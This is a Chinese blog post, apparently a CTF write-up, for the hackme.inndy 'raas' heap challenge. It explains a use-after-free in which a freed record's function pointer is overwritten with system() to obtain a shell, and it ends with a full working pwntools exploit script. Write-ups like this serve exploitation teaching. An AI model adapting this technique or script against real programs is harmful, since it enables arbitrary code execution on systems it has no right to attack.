本文最后更新于:星期三, 一月 2日 2019, 3:49 下午

hint:This is a Record-as-a-Service!And also our fist heap-based challenge.
Tips: use after free
同时题目给了源码
很明显这是一个UAF漏洞的利用

防护机制:

checksec

题目的数据结构:

struct record {
    void (*print)(struct record *);
    void (*free)(struct record *);
    union {
        int integer;
        char *string;
    };
};

题目用来free的函数

void rec_int_free(struct record *rec)
{
    free(rec);
    puts("Record freed!");
}

void rec_str_free(struct record *rec)
{
    free(rec->string);
    free(rec);
    puts("Record freed!");
}

void do_dump()
{
    int idx = ask("Index");
    records[idx]->print(records[idx]);
}

因为它free后没有将堆块中的指针清零,同时也没将数组的内容清空,所以这里存在UAF漏洞,这堆块在free掉后还可以使用

生成两个int的record,查看下堆的情况

createint(0,"123")  /*假设分配的堆块为p1*/
createint(1,"123")  /*假设分配的堆块为p2*/

heapinfo

画个直观图就是下面这样:

image.png

将这两个record free掉后,堆的情况

image.png

可以看见int类型的record的大小为0x10,chunk_size后面存放了free函数的指针和print函数的指针
它们free掉后,根据它们的大小,它们被分到fastbin,根据fastbin的分配规则,后free的chunk块会被先分配。如果这个时候create一个字符型的record[2],控制字符串大小小于16,那么会将p2分配给record[2],将p1分配给字符串。

createstr(2,12,"aaaabbbb")

堆的情况:

image.png

可以看到此时p1上的指针已经被”aaaabbbb”给覆盖了

如果将p1的free函数的指针覆盖成system函数,字符串以”sh\x00\x00”开头,再调用do_delete(0),就可以控制程序执行system函数,最终获取shell

解题思路:

  1. 先create 两个int的record,然后delete掉它们
  2. 然后生成一个字符型的record,字符串的大小为12,以”sh\x00\x00”开头
  3. 调用do_delete(0)

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import*
context.log_level = "debug"

p = process('./raas')
system = 0x080484F0

def createint(index,content):
    p.recvuntil(">")
    p.sendline(str(1))
    p.recvuntil(">")
    p.sendline(str(index))
    p.recvuntil(">")
    p.sendline("1")
    p.recvuntil(">")
    p.sendline(content)

def createstr(index,size,content):
    p.recvuntil(">")
    p.sendline(str(1))
    p.recvuntil(">")
    p.sendline(str(index))
    p.recvuntil(">")
    p.sendline("2")
    p.recvuntil(">")
    p.sendline(str(size))
    p.recvuntil(">")
    p.sendline(content)

def delete(index):
    p.recvuntil(">")
    p.sendline(str(2))
    p.recvuntil(">")
    p.sendline(str(index))

createint(0,"123")
createint(1,"456")
delete(0)
delete(1)
payload = "sh\x00\x00" + p32(system) 
createstr(2,12,payload)
delete(0)
gdb.attach(p)
pause()    
p.interactive()

hackme.inndy_writeup      writeup pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!